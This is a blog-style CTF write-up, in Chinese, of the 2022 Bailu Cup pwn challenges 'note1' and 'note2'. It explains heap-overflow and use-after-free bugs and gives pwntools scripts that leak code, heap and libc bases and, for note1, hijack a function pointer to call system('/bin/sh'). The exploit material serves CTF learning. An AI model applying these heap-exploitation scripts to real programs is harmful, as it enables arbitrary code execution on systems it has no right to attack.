2022年柏鷺杯 pwn題復現
題目附件鏈接:
鏈接:https://pan.baidu.com/s/1xng57H4uO04y0RdtYSVG7A
提取碼:lele
note1:
在程序里面,一個很明顯可以用于getshell的地方是3.call,由于函數地址和參數都是存在堆上的,只要能夠修改函數地址為system函數的就可以了。然后可以進一步歸結為泄露libc基址、泄露代碼段基址......
泄露代碼段基址:
主要漏洞點是:在new時,是通過fgets函數進行輸入數據的,這樣當參數n為8時,最后個字節就會為'\x00',不會泄露出后面的數據。但在edit時,new tag分支中是通過scanf函數進行輸入,且格式化字符串為"%8s",這樣可以使tag滿滿當當。不過注意的是,scanf函數對以字符串形式輸入數據時,會在結尾附加的'\x00',但我們只要在edit中修改func就可以。接著只要callfun就可以在打印tag時連帶func的地址打印出來啦~
add(0, 0x500, b'A'*0x100, b'', 1) edit_tag(0, b'abcdefgh') edit_func(0,1) funcall(0) io.recvuntil(b'abcdefgh') text_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x131b print("@@@ text_base = " + str(hex(text_base)))
泄露libc基址:
主要的漏洞點是:在edit中修改name時,不更新name的長度,可以達到堆溢出的效果。

edit_name(0, 0x17, b'') add(1, 0x17, b'', b'', 1) edit_name(0, 0x101, b'A'*0x20 + p64(0) + p64(text_base + 0x131b) + p64(text_base + 0x3FA8)) funcall(1) io.recvuntil("name: ") libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.symbols['printf'] print("@@@ libc_base = " + str(hex(libc_base)))
get shell:
重復第二步的溢出,直接getshell!
edit_name(0, 0x101, b'A'*0x20 + b'/bin/sh\x00' + p64(libc_base + libc.symbols['system'])) funcall(1) io.interactive()
EXP:
from pwn import * context(os='linux', arch='amd64', log_level='debug') io = process("./note1") elf = ELF("./note1") libc = ELF("./libc.so.6") def add(Id, length, name, tag, func): io.sendlineafter("> ", "1") io.sendlineafter("id: ", str(Id)) io.sendlineafter("name_length: ", str(length)) io.sendlineafter("name: ", name) io.sendlineafter("tag: ", tag) io.sendlineafter("func: ", str(func)) def edit_name(Id, length, name): io.sendlineafter("> ", "2") io.sendlineafter("id: ", str(Id)) io.sendlineafter("> ", "1") io.sendlineafter("name_length: ", str(length)) io.sendlineafter("name: ", name) def edit_tag(Id, tag): io.sendlineafter("> ", "2") io.sendlineafter("id: ", str(Id)) io.sendlineafter("> ", "2") io.sendlineafter("new tag: ", tag) def edit_func(Id, func): io.sendlineafter("> ", "2") io.sendlineafter("id: ", str(Id)) io.sendlineafter("> ", "3") io.sendlineafter("func: ", str(func)) def funcall(Id): io.sendlineafter("> ", "3") io.sendlineafter("id: ", str(Id)) def debug(): gdb.attach(io) pause() add(0, 0x500, b'A'*0x100, b'', 1) edit_tag(0, b'abcdefgh') edit_func(0,1) funcall(0) io.recvuntil(b'abcdefgh') text_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x131b print("@@@ text_base = " + str(hex(text_base))) edit_name(0, 0x17, b'') add(1, 0x17, b'', b'', 1) edit_name(0, 0x101, b'A'*0x20 + p64(0) + p64(text_base + 0x131b) + p64(text_base + 0x3FA8)) funcall(1) io.recvuntil("name: ") libc_base = u64(io.recv(6).ljust(8, b'\x00')) - libc.symbols['printf'] print("@@@ libc_base = " + str(hex(libc_base))) edit_name(0, 0x101, b'A'*0x20 + b'/bin/sh\x00' + p64(libc_base + libc.symbols['system'])) funcall(1) io.interactive()
note2:
這里只泄露出了堆基址和libc基址,后面的涉及到一些IO的利用手法,聽說banana、apple2可以打。
恐怖的是,看了Ex師傅的getshell部分,竟然只要幾行代碼。等學了之后再來補吧~
程序有明顯的UAF漏洞,泄露基址很容易,注意從2.32開始有個Safe-Linking保護機制即可。
from pwn import * context(os='linux', arch='amd64', log_level='debug') io = process("./note2") elf = ELF("./note2") libc = ELF("./libc.so.6") def create(idx, size, content): io.sendlineafter("> ", "1") io.sendlineafter("Index?", str(idx)) io.sendlineafter("Size?", str(size)) io.sendlineafter("Enter content: ", content) def free(idx): io.sendlineafter("> ", "2") io.sendlineafter("Index?", str(idx)) def view(idx): io.sendlineafter("> ", "3") io.sendlineafter("Index?", str(idx)) def debug(): gdb.attach(io) pause() # use 'key' leak heap_base create(0, 0xf0, b'tolele') free(0) view(0) key = u64(io.recvuntil("\n\n--- menu ---", drop=True)[3:].ljust(8,b'\x00')) heap_base = key << 12 print("@@@ heap_base = " + str(hex(heap_base))) # leak libc_base for i in range(0,9): create(i, 0xf0, b'tolele') for i in range(0,7): free(i) free(7) view(7) libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x219c00 - 0xe0 print("@@@ libc_base = " + str(hex(libc_base)))
(留坑,待填)
tolele
2022-09-17

浙公網安備 33010602011771號